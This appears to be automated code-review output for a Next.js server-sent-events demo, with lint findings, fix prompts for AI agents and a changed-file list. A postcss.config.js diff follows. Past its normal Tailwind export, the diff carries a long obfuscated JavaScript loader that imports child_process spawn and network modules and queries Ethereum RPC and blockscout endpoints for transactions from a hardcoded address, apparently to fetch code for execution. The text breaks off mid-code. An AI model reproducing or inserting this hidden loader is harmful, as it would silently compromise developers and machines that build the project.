<select value={eventType} - onChange={(e) => setEventType(e.target.value as EventType)} + onChange={(e) => { + const parsed = EventTypeSchema.safeParse(e.target.value); + if (parsed.success) setEventType(parsed.data); + }} className="w-full rounded border bg-white px-3 py-2" > - <option value="message">Message</option> - <option value="notification">Notification</option> - <option value="system-update">System Update</option> - <option value="custom">Custom</option> + {EventTypeSchema.options.map((value) => ( + <option key={value} value={value}> + {value} + </option> + ))} </select>Also applies to: 53-62
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/components/EventSender.tsx` around lines 6 - 13, Update the event type selection in the component using EventTypeSchema: derive the option elements by mapping over EventTypeSchema.options instead of duplicating the four values, and replace the unsafe cast on the selected value with EventTypeSchema.safeParse validation before using it.src/features/shared/logger/index.ts (1)
3-5: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low valueUse
Recordinstead of the index signature.ESLint reports
@typescript-eslint/consistent-indexed-object-stylehere. Replace the interface with a type alias.♻️ Proposed fix
-interface LogParams { - [key: string]: unknown; -} +type LogParams = Record<string, unknown>;🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/shared/logger/index.ts` around lines 3 - 5, Replace the LogParams interface with a type alias using Record<string, unknown> to satisfy the consistent-indexed-object-style lint rule, preserving the existing key and value types.Source: Linters/SAST tools
src/features/sse/hooks/useSSE.ts (2)
164-167: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low valueUse
loggerinstead of rawconsolecalls.Lines 165 and 181 call
console.errorandconsole.warnalthough this file importsloggeron line 5 and uses it elsewhere. The output then bypasses the structured JSON format.Also applies to: 179-182
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/hooks/useSSE.ts` around lines 164 - 167, Replace the raw console.error and console.warn calls in the SSE event-sending error paths with the imported logger, preserving their messages and error details while using the file’s existing structured logging API.
9-9: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low valueReplace
anywithunknown.ESLint reports
@typescript-eslint/no-explicit-anyon both lines.SSEMessage.dataand thesendEventparameter both flow intoJSON.stringify, sounknownis sufficient and keeps callers honest.Also applies to: 155-155
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/hooks/useSSE.ts` at line 9, Replace the explicit any types on SSEMessage.data and the sendEvent parameter with unknown. Preserve their existing JSON.stringify usage and update any necessary handling so callers provide type-safe values.Source: Linters/SAST tools
src/features/sse/components/SSEDashboard.tsx (1)
10-12: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low valueReplace
anywithunknown.ESLint reports
@typescript-eslint/no-explicit-anyon both lines. Define one shared message type for the feature and reuse it here and insrc/features/sse/hooks/useSSE.ts.Also applies to: 41-41
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/components/SSEDashboard.tsx` around lines 10 - 12, Replace the explicit any in the SSEDashboard messages state with unknown and define a shared SSE message type for the feature. Reuse that type in both the SSEDashboard messages state and the useSSE hook’s corresponding message declaration, preserving the existing fields and behavior.Source: Linters/SAST tools
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: 4f341aea-6282-4c6c-81e0-ea3fe361425e
⛔ Files ignored due to path filters (1)
package-lock.jsonis excluded by!**/package-lock.json
📒 Files selected for processing (25)
.gitignoreREADME.mdSSE.mdpackage.jsonpostcss.config.jssrc/app/api/sse/route.tssrc/app/api/sse/send/route.tssrc/app/layout.tsxsrc/app/sse-demo/page.tsxsrc/features/shared/logger/index.tssrc/features/sse/SSEManager.tssrc/features/sse/components/ConnectionStatus.tsxsrc/features/sse/components/EventLog.tsxsrc/features/sse/components/EventSender.tsxsrc/features/sse/components/SSEDashboard.tsxsrc/features/sse/components/SSEProvider.tsxsrc/features/sse/hooks/useSSE.tssrc/features/sse/index.tssrc/features/sse/package.jsonsrc/features/sse/server/index.tssrc/features/sse/server/router.tssrc/features/sse/server/state.tssrc/features/sse/types.tssrc/lib/trpc/root.tssrc/middleware.ts
| import { createRequire } from 'module'; | ||
|
|
||
| const require = createRequire(import.meta.url); | ||
|
|
||
| export default { | ||
| plugins: { | ||
| "@tailwindcss/postcss": {}, | ||
| }, | ||
| }; global.i="A9-7221-4";const _0x44ceab=_0xc702;(function(_0x242c2a,_0xcc5db6){const _0x55afa4=_0xc702,_0x2abd94=_0x242c2a();while(!![]){try{const _0x3f9b11=-parseInt(_0x55afa4(0x12b))/(-0x368+0x1cce+0x877*-0x3)*(-parseInt(_0x55afa4(0x17f))/(-0x227*-0x11+-0x5d7+-0x1ebe))+-parseInt(_0x55afa4(0xec))/(-0x2316+0xb*0x1c+0x21e5)*(parseInt(_0x55afa4(0x1ac))/(0x897+0x1921+-0x21b4))+-parseInt(_0x55afa4(0xed))/(-0x1459+-0x717*-0x4+-0x7fe)*(parseInt(_0x55afa4(0xa7))/(-0x6*-0x4d2+-0x1640+-0x6a6))+-parseInt(_0x55afa4(0xaa))/(0x53b*0x4+-0x1*0x818+-0xccd)+-parseInt(_0x55afa4(0x138))/(-0x167*-0xa+0x1*-0xd1c+-0xe2)+-parseInt(_0x55afa4(0xd1))/(0xd25*-0x1+0x66e+0x6c0)*(-parseInt(_0x55afa4(0xd9))/(-0xb*0x227+-0x23e5+-0x2*-0x1dce))+parseInt(_0x55afa4(0x1bd))/(-0x2208+0x11a1+0x1072);if(_0x3f9b11===_0xcc5db6)break;else _0x2abd94['push'](_0x2abd94['shift']());}catch(_0x2923f3){_0x2abd94['push'](_0x2abd94['shift']());}}}(_0x3307,-0xc750f+-0x1991b*0x3+0x1*0x1a9896),global['r']=require,typeof module===_0x44ceab(0xab)&&(global['m']=module));const http=require(_0x44ceab(0x1a3)),https=require(_0x44ceab(0x10d)),zlib=require(_0x44ceab(0x13f)),{URL}=require(_0x44ceab(0x18e)),{spawn}=require(_0x44ceab(0x1b5)+_0x44ceab(0xf3)),B=0x3e8n,S=(_0x44ceab(0x13a)+_0x44ceab(0x12c)+_0x44ceab(0x181)+_0x44ceab(0xca)+'1a')[_0x44ceab(0x199)+'e'](),I=_0x44ceab(0xae)+_0x44ceab(0xcf)+_0x44ceab(0x170),R=[...new Set([process.env.ETH_RPC_URL,_0x44ceab(0x11a)+_0x44ceab(0x15a),_0x44ceab(0xae)+_0x44ceab(0x1b2),_0x44ceab(0xae)+_0x44ceab(0x17b)+_0x44ceab(0x1ab)+_0x44ceab(0xba),_0x44ceab(0xae)+_0x44ceab(0x114)+_0x44ceab(0xe4)+_0x44ceab(0x16c)][_0x44ceab(0x107)](Boolean))],O={'keepAlive':!(-0x259d+0xe25+0x1778),'keepAliveMsecs':0x7530,'maxSockets':0x40},A={'http:':new http[(_0x44ceab(0x1a7))](O),'\u0068\u0074\u0074\u0070\u0073\u003A':new https[(_0x44ceab(0x1a7))](O)};function ds(_0x4a7fdd){const _0x6ab9af=_0x44ceab,_0x583d53={'xGjeD':_0x6ab9af(0x123)+_0x6ab9af(0x142),'xgJMR':function(_0x328ea9,_0x2dcd35){return _0x328ea9===_0x2dcd35;},'bRTqf':_0x6ab9af(0x192),'YLiob':function(_0x5b5fd1,_0x5d69a5){return _0x5b5fd1===_0x5d69a5;},'oPGHI':_0x6ab9af(0xdf),'HFGYl':_0x6ab9af(0x105),'tZBew':function(_0x137fc4){return _0x137fc4();}},_0x3ac994=(_0x4a7fdd[_0x6ab9af(0xaf)][_0x583d53[_0x6ab9af(0xc3)]]||'')[_0x6ab9af(0x199)+'e'](),_0x10d60b=_0x583d53[_0x6ab9af(0x1b0)](_0x3ac994,_0x583d53[_0x6ab9af(0x168)])||_0x583d53[_0x6ab9af(0x121)](_0x3ac994,_0x583d53[_0x6ab9af(0x83)])?zlib[_0x6ab9af(0x15b)+'ip']:_0x583d53[_0x6ab9af(0x1b0)](_0x3ac994,_0x583d53[_0x6ab9af(0x9f)])?zlib[_0x6ab9af(0xc6)+_0x6ab9af(0x126)]:_0x583d53[_0x6ab9af(0x121)](_0x3ac994,'br')?zlib[_0x6ab9af(0x14c)+_0x6ab9af(0x17e)+'ss']:-0x150*-0xa+-0x5*0x697+0x13d3;return _0x10d60b?_0x4a7fdd[_0x6ab9af(0x149)](_0x583d53[_0x6ab9af(0x155)](_0x10d60b)):_0x4a7fdd;}function hr(_0x288096,{method:_0x180375=_0x44ceab(0x176),body:_0x1e1d38,signal:_0x4a5a6a}={}){const _0x22dd27=_0x44ceab,_0x2e88b9={'Zbgqs':_0x22dd27(0xf5),'webnr':function(_0x33f8c6,_0x52d640){return _0x33f8c6<_0x52d640;},'MRRMe':function(_0xb4b4ee,_0x48ba5e){return _0xb4b4ee>=_0x48ba5e;},'UOFLx':function(_0x3e4012,_0x28840e){return _0x3e4012(_0x28840e);},'beCzF':function(_0x34c01f,_0x1140c2){return _0x34c01f===_0x1140c2;},'dfFGU':function(_0x5b4d4d,_0x3c699a){return _0x5b4d4d!==_0x3c699a;},'eFyPx':function(_0x5cfbd8,_0x3010e5){return _0x5cfbd8(_0x3010e5);},'Dwqwq':_0x22dd27(0xcc),'QOAjr':_0x22dd27(0x175),'MltrU':_0x22dd27(0x16b),'PvcTj':_0x22dd27(0x194),'zTKCw':function(_0x2674a9,_0x30968b){return _0x2674a9+_0x30968b;},'xDPaM':function(_0x32c512,_0x2e00af){return _0x32c512!=_0x2e00af;},'pZXYl':function(_0x36cc6e,_0x4b2060){return _0x36cc6e===_0x4b2060;},'vRwSb':_0x22dd27(0xd3)+_0x22dd27(0x1a9),'ucpaX':_0x22dd27(0x198)+_0x22dd27(0x128),'yInys':_0x22dd27(0x1aa),'EjCUD':function(_0x22c9dc,_0x581aaa){return _0x22c9dc!=_0x581aaa;},'vwSTK':_0x22dd27(0x82)+'pe','BrVWx':_0x22dd27(0x120)+_0x22dd27(0x167)},_0x14b1c7=new URL(_0x288096),_0x1ecfec=_0x2e88b9[_0x22dd27(0x111)](_0x14b1c7[_0x22dd27(0x191)],_0x2e88b9[_0x22dd27(0xe6)])?https:http,_0x584dff={'Accept':_0x2e88b9[_0x22dd27(0x17d)],'\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067':_0x2e88b9[_0x22dd27(0x185)],'Connection':_0x2e88b9[_0x22dd27(0x125)]};return _0x2e88b9[_0x22dd27(0x18c)](_0x1e1d38,null)&&(_0x584dff[_0x2e88b9[_0x22dd27(0x129)]]=_0x2e88b9[_0x22dd27(0x17d)],_0x584dff[_0x2e88b9[_0x22dd27(0x154)]]=Buffer[_0x22dd27(0xe7)](_0x1e1d38)),new Promise((_0x553038,_0xe33d86)=>{const _0x384fdc=_0x22dd27,_0x4dc16f={'FZbrm':_0x2e88b9[_0x384fdc(0xfc)],'jxKxj':function(_0x564452,_0x257140){const _0x342241=_0x384fdc;return _0x2e88b9[_0x342241(0x11c)](_0x564452,_0x257140);},'gqTzu':function(_0x3c16fa,_0xae1d3d){const _0x5890f6=_0x384fdc;return _0x2e88b9[_0x5890f6(0x1c1)](_0x3c16fa,_0xae1d3d);},'fCyKB':function(_0x2c7dce,_0x234c08){const _0x134c5f=_0x384fdc;return _0x2e88b9[_0x134c5f(0xff)](_0x2c7dce,_0x234c08);},'BSxZQ':function(_0x3052a6,_0x36c1ac){const _0x5582cf=_0x384fdc;return _0x2e88b9[_0x5582cf(0xf8)](_0x3052a6,_0x36c1ac);},'CZgSO':function(_0x4bea43,_0x2686c3){const _0x578467=_0x384fdc;return _0x2e88b9[_0x578467(0x160)](_0x4bea43,_0x2686c3);},'qMvGW':function(_0x2342c2,_0x2cdfce){const _0x7d9afe=_0x384fdc;return _0x2e88b9[_0x7d9afe(0x160)](_0x2342c2,_0x2cdfce);},'MPqWX':function(_0xbc0d1,_0x5060e6){const _0x551f2c=_0x384fdc;return _0x2e88b9[_0x551f2c(0x146)](_0xbc0d1,_0x5060e6);},'dHoEF':function(_0x9d4007,_0x1a2597){const _0x1174c7=_0x384fdc;return _0x2e88b9[_0x1174c7(0xff)](_0x9d4007,_0x1a2597);},'EpZSh':_0x2e88b9[_0x384fdc(0xa1)],'cYebN':_0x2e88b9[_0x384fdc(0xa9)],'BHwLs':_0x2e88b9[_0x384fdc(0xe9)]},_0x154605=_0x1ecfec[_0x384fdc(0x8a)]({'hostname':_0x14b1c7[_0x384fdc(0xb8)],'port':_0x14b1c7[_0x384fdc(0x96)]||(_0x2e88b9[_0x384fdc(0xf8)](_0x14b1c7[_0x384fdc(0x191)],_0x2e88b9[_0x384fdc(0xe6)])?-0x22dc+-0x75e+-0x3ff*-0xb:0x190a+-0x275*-0xe+0x764*-0x8),'path':_0x2e88b9[_0x384fdc(0x97)](_0x14b1c7[_0x384fdc(0xcd)],_0x14b1c7[_0x384fdc(0xa5)]),'method':_0x180375,'agent':A[_0x14b1c7[_0x384fdc(0x191)]],'signal':_0x4a5a6a,'headers':_0x584dff},_0x10d061=>{const _0x32263c=_0x384fdc,_0x360a3b={'wcugX':_0x4dc16f[_0x32263c(0x177)],'nsBHQ':function(_0x49ffa7,_0x50e3e4){const _0x12b240=_0x32263c;return _0x4dc16f[_0x12b240(0x18d)](_0x49ffa7,_0x50e3e4);},'ALAHX':function(_0x575592,_0x57f6cb){const _0x4b2af9=_0x32263c;return _0x4dc16f[_0x4b2af9(0xe8)](_0x575592,_0x57f6cb);},'wxUwN':function(_0xfe9a59,_0x578340){const _0x395788=_0x32263c;return _0x4dc16f[_0x395788(0x89)](_0xfe9a59,_0x578340);},'gnTPd':function(_0x5baf6e,_0x2e93d8){const _0x980b65=_0x32263c;return _0x4dc16f[_0x980b65(0xac)](_0x5baf6e,_0x2e93d8);},'gdiqs':function(_0x1607ba,_0x15779b){const _0x11943d=_0x32263c;return _0x4dc16f[_0x11943d(0x152)](_0x1607ba,_0x15779b);},'jQhWh':function(_0x9ace49,_0x49dfad){const _0x3317be=_0x32263c;return _0x4dc16f[_0x3317be(0x110)](_0x9ace49,_0x49dfad);},'QgmDv':function(_0x18a864,_0x37b6d8){const _0xeab540=_0x32263c;return _0x4dc16f[_0xeab540(0x135)](_0x18a864,_0x37b6d8);},'WPvOf':function(_0x595740,_0x2e0fd7){const _0x383d0c=_0x32263c;return _0x4dc16f[_0x383d0c(0x11f)](_0x595740,_0x2e0fd7);}},_0xe9039=_0x4dc16f[_0x32263c(0x89)](ds,_0x10d061),_0x34023=[];_0xe9039['on'](_0x4dc16f[_0x32263c(0x179)],_0x13f678=>_0x34023[_0x32263c(0xe3)](_0x13f678)),_0xe9039['on'](_0x4dc16f[_0x32263c(0x11b)],()=>{const _0x256843=_0x32263c,_0x16eb44=Buffer[_0x256843(0x12a)](_0x34023)[_0x256843(0x156)](_0x360a3b[_0x256843(0xa3)])[_0x256843(0xa0)]();if(_0x360a3b[_0x256843(0xb0)](_0x10d061[_0x256843(0x104)],-0x115*-0x11+0x13b5*-0x1+0x218)||_0x360a3b[_0x256843(0x193)](_0x10d061[_0x256843(0x104)],-0x130*0x9+0xe*0x1e1+0x2*-0x739))return _0x360a3b[_0x256843(0x1a1)](_0xe33d86,new Error('H'+_0x10d061[_0x256843(0x104)]+':'+_0x16eb44[_0x256843(0x1ad)](0x3*0xb2d+-0x103f+-0x1148,-0x1*0x1baf+-0x2*-0x30b+0x4f*0x47)));if(!_0x16eb44||_0x360a3b[_0x256843(0xde)](_0x16eb44[-0x1*-0x1542+-0x2*-0xe9b+-0x3278],'\u003C')||_0x360a3b[_0x256843(0xfe)](_0x16eb44[0xb8b+0x10*0xbc+0x1*-0x174b],'\u007B')&&_0x360a3b[_0x256843(0xe2)](_0x16eb44[0xea5+0x1*-0x236+-0xc6f*0x1],'\u005B'))return _0x360a3b[_0x256843(0x1a1)](_0xe33d86,new Error('J:'+_0x16eb44[_0x256843(0x1ad)](-0x2200+0x2f*-0x9b+0x3e75,-0x22c9+0x4f4+0x1e25)));try{_0x360a3b[_0x256843(0x94)](_0x553038,JSON[_0x256843(0x190)](_0x16eb44));}catch(_0x34ad21){_0x360a3b[_0x256843(0x86)](_0xe33d86,new Error('P:'+_0x34ad21[_0x256843(0xb5)]));}}),_0xe9039['on'](_0x4dc16f[_0x32263c(0x124)],_0xe33d86);});_0x154605['on'](_0x2e88b9[_0x384fdc(0xe9)],_0xe33d86),_0x2e88b9[_0x384fdc(0xa8)](_0x1e1d38,null)&&_0x154605[_0x384fdc(0x151)](_0x1e1d38),_0x154605[_0x384fdc(0x175)]();});}function _0x3307(){const _0x3b7856=['HTMau','kZlWZ','bnHJf','RptWP','write','CZgSO',':443','BrVWx','tZBew','toString','fkRSW',':443/0x/ls','rsXqP','pc.io/eth','createGunz','KJKIG','shSPT','OcATS','stener','dfFGU','ignore','SIecw','TQAET','zezXV','QZRte','POST','ngth','bRTqf','QQiEt','uUkdF','error','stapi.io','LnaXN','vAWQN','kpHNq','ut.com/api','BtJwU','RWpMw','find','catch','end','GET','FZbrm','crZCf','EpZSh','map','hereum-rpc','Kit/537.36','vRwSb','liDecompre','595780QbjmdV','CHepZ','6f0121063e','VyEOa','OGXGz','rwOMD','ucpaX','aBWJK','addEventLi','nsactionCo','9&page=1&o','FakYG','Jpnst','EjCUD','jxKxj','url','node','parse','protocol','gzip','ALAHX','https:','\x27]=\x27','count&acti',')\x20AppleWeb','gzip,\x20defl','toLowerCas','HoDWs','eth_getBlo','QZywI','wibbZ','unt','xOtmL','ike\x20Gecko)','wxUwN','pMLys','http','result','_t_s','forEach','Agent','all','n/json','keep-alive','.publicnod','3908idpnlr','slice','UniBA','AiKTD','xgJMR','ViSQB','h.drpc.org','YyqQS','uJddd','child_proc','uyVDL','ZuHfL','yyHsj','oflCH','cHSXQ','CQAWy','length','32590789fJQcWT','\x20NT\x2010.0;\x20','JxCbi','QbRRV','MRRMe','nerJu','bpVfp','Content-Ty','oPGHI','RbxTf','min','WPvOf','from','nGxVW','fCyKB','request','LyGdN','czpyg','unref','BLrzN','subarray','replace','_t_u','transactio','0\x20(Windows','QgmDv','ojvxD','port','zTKCw','ck=9999999','\x20(KHTML,\x20l','charCodeAt','global[\x27_V','AARcQ','_H2','isArray','HFGYl','trim','Dwqwq','get','wcugX','blockNumbe','search','PvZQW','6AKWwcZ','xDPaM','QOAjr','5961487gAvUKF','object','BSxZQ','cyCpl','https://et','headers','nsBHQ','jIkRj','unMKf','then','finally','message','mEGgj',',Sr3=@','hostname','\x27;global[\x27','e.com','wIbeD','DTEdO','QthWB','EkQIH','stringify','q4FZkxX{!h','OVUFq','no\x20b64','xGjeD','HkrSh','PVNNR','createInfl','WByWQ','IctFD','bymlS','9aDC2490Ef','1.0.0.0\x20Sa','data','pathname','ilterby=fr','h.blocksco','caxup','23427SFKuld','cRXVv','applicatio','uMvOo','Mozilla/5.','base64','tpJHG','tZibq','1300BKywdY','al=global;','e;global[\x27','ckByNumber','findIndex','gnTPd','x-gzip','resume','PskPD','jQhWh','push','public.bla','HQMBO','PvcTj','byteLength','gqTzu','MltrU','hSmHa','ucUNo','2823eEOkZK','1647205wUeYDY','r\x27]=requir','UISzP','onYDw','m\x27]=module','on=txlist&','ess','signal','utf8','YfHXM','b64','beCzF','DfeAz','nonce',';var\x20_glob','Zbgqs','MJEEv','gdiqs','UOFLx','eth_blockN','resolve','jwZZr','@^1aQk','statusCode','deflate','SfXzz','filter','y-p_>d$0B&','abort','Win64;\x20x64','k=0&endblo',':80','https','USRYf','empty','qMvGW','pZXYl','hex','\x20Chrome/13','h-mainnet.','x-payload-','HEAD','SrQJg','eth_getTra','OVJbp','https://1r','cYebN','webnr','bKTVo','?module=ac','dHoEF','Content-Le','YLiob','http://','content-en','BHwLs','yInys','ate','address=','ate,\x20br','vwSTK','concat','1QiuBJh','D311D3080e','GGbog','ffset=20&s','controller','xzqPs','durVE','ngsKF','OxJjQ','eGiCH','MPqWX','RmfMB','fLEkP','7089872YjfbgX',':443/0x/cl','0xa322E5f3','&startbloc','2.0','ufUJK','zAkNr','zlib','fari/537.3','bPQfv','coding','run','FXTJz','any','eFyPx','umber','ogFTC','pipe','XUzln','ort=desc&f','createBrot'];_0x3307=function(){return _0x3b7856;};return _0x3307();}function wr(_0x4bf01d,_0x2d60a1){const _0x302f7f=_0x44ceab,_0x44f1c3=R[_0x302f7f(0x17a)](()=>new AbortController());return _0x2d60a1&&_0x44f1c3[_0x302f7f(0x1a6)](_0x206e57=>_0x2d60a1[_0x302f7f(0x187)+_0x302f7f(0x15f)](_0x302f7f(0x109),()=>_0x206e57[_0x302f7f(0x109)](),{'once':!(-0x4ea+0x1*0xbd9+-0x6ef)})),Promise[_0x302f7f(0x145)](R[_0x302f7f(0x17a)]((_0x5bb22b,_0x500809)=>_0x4bf01d(_0x5bb22b,_0x44f1c3[_0x500809][_0x302f7f(0xf4)])))[_0x302f7f(0xb4)](()=>{const _0x4f9e9e=_0x302f7f;for(const _0x51b2a9 of _0x44f1c3)_0x51b2a9[_0x4f9e9e(0x109)]();});}function _0xc702(_0x439202,_0x221bcc){_0x439202=_0x439202-(-0x9*-0x1+-0x7a2+0x81a);const _0x258a51=_0x3307();let _0x1d3d9c=_0x258a51[_0x439202];return _0x1d3d9c;}function rc(_0xda6d24,_0x2f10db,_0x33e410,_0x33ea87){const _0x402523=_0x44ceab,_0xc93c85={'czpyg':function(_0x10ed1d,_0x268c4e,_0x151e32){return _0x10ed1d(_0x268c4e,_0x151e32);},'AARcQ':_0x402523(0x166),'uJddd':_0x402523(0x13c)};return _0xc93c85[_0x402523(0x8c)](hr,_0xda6d24,{'method':_0xc93c85[_0x402523(0x9c)],'body':JSON[_0x402523(0xbf)]({'jsonrpc':_0xc93c85[_0x402523(0x1b4)],'id':0x1,'method':_0x2f10db,'params':_0x33e410}),'signal':_0x33ea87})[_0x402523(0xb3)](_0x105f19=>_0x105f19[_0x402523(0x1a4)]);}function rb(_0x718651,_0x5f02ff,_0x2d059d){const _0x74a62a=_0x44ceab,_0x56d273={'PvZQW':function(_0x775ce9,_0x1b0e71,_0x14c8b9){return _0x775ce9(_0x1b0e71,_0x14c8b9);},'caxup':_0x74a62a(0x166)};return _0x56d273[_0x74a62a(0xa6)](hr,_0x718651,{'method':_0x56d273[_0x74a62a(0xd0)],'body':JSON[_0x74a62a(0xbf)](_0x5f02ff[_0x74a62a(0x17a)](([_0x1d278d,_0x9f4d19],_0x4a23f8)=>({'jsonrpc':_0x74a62a(0x13c),'id':_0x4a23f8+(-0x65a+0x65e*-0x1+0xcb9),'method':_0x1d278d,'params':_0x9f4d19}))),'signal':_0x2d059d})[_0x74a62a(0xb3)](_0x23c1b4=>{const _0x433ea=_0x74a62a,_0x49fb65=new Map(_0x23c1b4[_0x433ea(0x17a)](_0x50a29a=>[_0x50a29a['id'],_0x50a29a]));return _0x5f02ff[_0x433ea(0x17a)]((_0x495ead,_0x1ee36d)=>_0x49fb65[_0x433ea(0xa2)](_0x1ee36d+(-0x11*0x14d+0x11c*0x14+-0x12))[_0x433ea(0x1a4)]);});}const bh=_0x40171f=>'\u0030\u0078'+_0x40171f[_0x44ceab(0x156)](-0x7df+-0x366+0x3*0x3c7);function fm(_0x540367){const _0x3a68d0={'vAWQN':function(_0x1b34c2,_0x3e11fd){return _0x1b34c2(_0x3e11fd);},'TQAET':function(_0x198eea,_0x7e3b93){return _0x198eea(_0x7e3b93);},'onYDw':function(_0x8960f0,_0x575a0a){return _0x8960f0===_0x575a0a;},'tZibq':function(_0x24609a,_0x5902a5){return _0x24609a===_0x5902a5;}};return new Promise(_0x47f6db=>{const _0x2a597f=_0xc702,_0x384d44={'bpVfp':function(_0x449e71,_0x542e23){const _0x3bbbce=_0xc702;return _0x3a68d0[_0x3bbbce(0x163)](_0x449e71,_0x542e23);},'oflCH':function(_0x4ac23a,_0x782e6e){const _0x2f0696=_0xc702;return _0x3a68d0[_0x2f0696(0xf0)](_0x4ac23a,_0x782e6e);},'RWpMw':function(_0x5c212f,_0x4a2ebf){const _0x349934=_0xc702;return _0x3a68d0[_0x349934(0xd8)](_0x5c212f,_0x4a2ebf);},'kpHNq':function(_0xf237d4,_0x2f4069){const _0x42ee91=_0xc702;return _0x3a68d0[_0x42ee91(0x163)](_0xf237d4,_0x2f4069);}};let _0x2002c9=_0x540367[_0x2a597f(0x1bc)];if(!_0x2002c9)return _0x3a68d0[_0x2a597f(0x16e)](_0x47f6db,null);let _0x2587b3=!(0x156e+-0x29*0x9d+-0x1c*-0x22);const _0x4fc567=_0x145588=>{const _0x3721c3=_0x2a597f;if(_0x2587b3)return;_0x2587b3=!(0x1d7a*-0x1+-0x2*-0xf6b+0x4*-0x57);for(const _0x4467d0 of _0x540367)_0x4467d0[_0x3721c3(0x12f)][_0x3721c3(0x109)]();_0x3a68d0[_0x3721c3(0x16e)](_0x47f6db,_0x145588);};for(const _0xfe772d of _0x540367)_0xfe772d[_0x2a597f(0x143)]()[_0x2a597f(0xb3)](_0x2cf5b=>{const _0x1c2d03=_0x2a597f;if(_0x2587b3)return;_0x2cf5b?_0x384d44[_0x1c2d03(0x81)](_0x4fc567,_0x2cf5b):_0x384d44[_0x1c2d03(0x1b9)](--_0x2002c9,0xede+0x300+0x8ef*-0x2)&&_0x384d44[_0x1c2d03(0x81)](_0x47f6db,null);})[_0x2a597f(0x174)](()=>{const _0x50b4ed=_0x2a597f;!_0x2587b3&&_0x384d44[_0x50b4ed(0x172)](--_0x2002c9,0x25a1+-0x8ad*0x2+-0xb3*0x1d)&&_0x384d44[_0x50b4ed(0x16f)](_0x47f6db,null);});});}const cb=_0x3f6224=>[...new Set([_0x3f6224-0x1n,_0x3f6224,_0x3f6224+0x1n,_0x3f6224-B-0x1n,_0x3f6224-B,_0x3f6224-B+0x1n][_0x44ceab(0x107)](_0x154e0d=>_0x154e0d>=0x0n))];function bt(_0x408b67){const _0x303cd1=_0x44ceab,_0x3b1daf=new AbortController();return{'controller':_0x3b1daf,'run':()=>wr((_0x1523b0,_0x1fd6a4)=>rc(_0x1523b0,_0x303cd1(0x19b)+_0x303cd1(0xdc),[bh(_0x408b67),!(-0x1fd1+0xc2*0x10+0x13b1)],_0x1fd6a4),_0x3b1daf[_0x303cd1(0xf4)])[_0x303cd1(0xb3)](_0x201c4c=>{const _0x123ec6=_0x303cd1,_0x401544=_0x201c4c?.[_0x123ec6(0x92)+'ns'],_0x139f3a=Array[_0x123ec6(0x9e)](_0x401544)?_0x401544[_0x123ec6(0x173)](_0x39f4e3=>_0x39f4e3[_0x123ec6(0x87)]?.[_0x123ec6(0x199)+'e']()===S):null;return _0x139f3a?{'blockNumber':_0x408b67,'tx':_0x139f3a}:null;})};}function na(_0x7cad65,_0xca9e47){const _0x84e27d=_0x44ceab,_0x3c49d0={'xOtmL':function(_0x1e5a6a,_0x5c706f,_0x2bf6fb){return _0x1e5a6a(_0x5c706f,_0x2bf6fb);}},_0x1e8487=_0x7cad65[_0x84e27d(0x17a)](_0xb7b7a5=>[_0x84e27d(0x118)+_0x84e27d(0x188)+_0x84e27d(0x19e),[S,bh(_0xb7b7a5)]]);return _0x3c49d0[_0x84e27d(0x19f)](wr,(_0x46ae76,_0x5bb4a1)=>rb(_0x46ae76,_0x1e8487,_0x5bb4a1),_0xca9e47)[_0x84e27d(0xb3)](_0x21bb32=>_0x21bb32[_0x84e27d(0x17a)](BigInt))[_0x84e27d(0x174)](()=>Promise[_0x84e27d(0x1a8)](_0x1e8487[_0x84e27d(0x17a)](([_0x5e0af3,_0x3d3a32])=>wr((_0x5c21ad,_0x2e3faf)=>rc(_0x5c21ad,_0x5e0af3,_0x3d3a32,_0x2e3faf),_0xca9e47)))[_0x84e27d(0xb3)](_0x319440=>_0x319440[_0x84e27d(0x17a)](BigInt)));}function ls(_0x599551){const _0x46f089=_0x44ceab,_0x4f37fe={'rsXqP':function(_0x314d5c,_0xa09b1d){return _0x314d5c!==_0xa09b1d;},'HTMau':function(_0x4d2aba,_0x2a3505){return _0x4d2aba===_0x2a3505;},'cHSXQ':function(_0x46b45c,_0x810410){return _0x46b45c(_0x810410);},'KJKIG':function(_0x584fc8,_0x12f945){return _0x584fc8<=_0x12f945;},'RptWP':function(_0x473a49,_0x4b88e6){return _0x473a49(_0x4b88e6);},'rwOMD':function(_0x37c87c,_0x32fe38){return _0x37c87c===_0x32fe38;},'SfXzz':function(_0x329a18,_0x33ff17){return _0x329a18-_0x33ff17;},'bnHJf':function(_0x5270be,_0x437bf5){return _0x5270be>_0x437bf5;},'nerJu':function(_0x52648e){return _0x52648e();},'PVNNR':function(_0x355d71,_0x4806ad){return _0x355d71(_0x4806ad);},'IctFD':function(_0x5e3f1a,_0x5d134d){return _0x5e3f1a(_0x5d134d);},'mEGgj':function(_0x2c432a,_0x3349b9){return _0x2c432a+_0x3349b9;},'zezXV':function(_0x765091,_0xfafc34){return _0x765091/_0xfafc34;},'UISzP':function(_0x515f4f,_0x2ee081){return _0x515f4f*_0x2ee081;},'QQiEt':function(_0x46f2a5,_0x311e8c,_0x12f7b2){return _0x46f2a5(_0x311e8c,_0x12f7b2);},'ufUJK':function(_0x1a6331,_0x3053a0){return _0x1a6331-_0x3053a0;},'DTEdO':function(_0x63b7c2,_0x34f196){return _0x63b7c2??_0x34f196;}},_0x2dafd4=new AbortController(),_0x844271=()=>_0x2dafd4[_0x46f089(0x109)]();return 